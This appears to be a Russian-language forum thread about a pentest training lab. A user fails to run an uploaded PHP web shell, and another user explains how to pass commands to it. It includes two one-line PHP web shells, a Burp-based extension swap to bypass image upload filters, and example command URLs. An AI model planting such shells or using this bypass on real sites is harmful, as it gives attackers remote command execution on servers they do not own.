Помощь в загрузке шелла в CRM Pentest lab 11.

Sykes · 05.05.2018

Не выходит загрузить шелл на сайт, всё делается по канонам и гайдам.
Burp Community, обновлен из реп, прокси через FoxyProxy, шелл вида <? echo shell_exec($_GET['cmd']) ?> или <? echo shell_exec($_GET['e'].' 2>&1'); ?>. Грузил шелл в jpg, jpeg, gif, барпом ловил запрос и менял расширение шелла на php - толку нет. Когда шел по пути /test/logo/shell.php, то белый экран, при других шеллах ошибка 404. Будьте добры помочь

Citizen0 · 06.05.2018

Sykes сказал(а):
Когда шел по пути /test/logo/shell.php, то белый экран,

А что Вы хотите увидеть?
Для первого шелла нужно указать параметр cmd, для второго - e

Код:

site/test/logo/shell.php?cmd=%команда%

или

Код:

site/test/logo/shell.php?e=%команда%

Например,

Код:

site/test/logo/shell.php?cmd=ls